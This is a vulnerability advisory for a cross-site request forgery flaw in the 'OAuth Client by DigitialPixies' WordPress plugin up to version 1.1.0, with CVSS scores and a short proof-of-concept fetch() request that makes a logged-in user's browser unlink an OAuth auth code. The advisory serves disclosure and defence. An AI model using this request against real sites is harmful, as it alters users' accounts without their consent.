OAuth Client by DigitialPixies <= 1.1.0 - CSRF

2022-10-2100:00:00

Lana Codes

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

JSON

The plugin does not have CSRF checks in some places, which could allow attackers to make logged-in users perform unwanted actions.

Make a logged in user visit a page with the following code

fetch('https://example.com/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=dpt-oauth-ajax&call=unlink_auth_code',
        redirect: 'follow'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));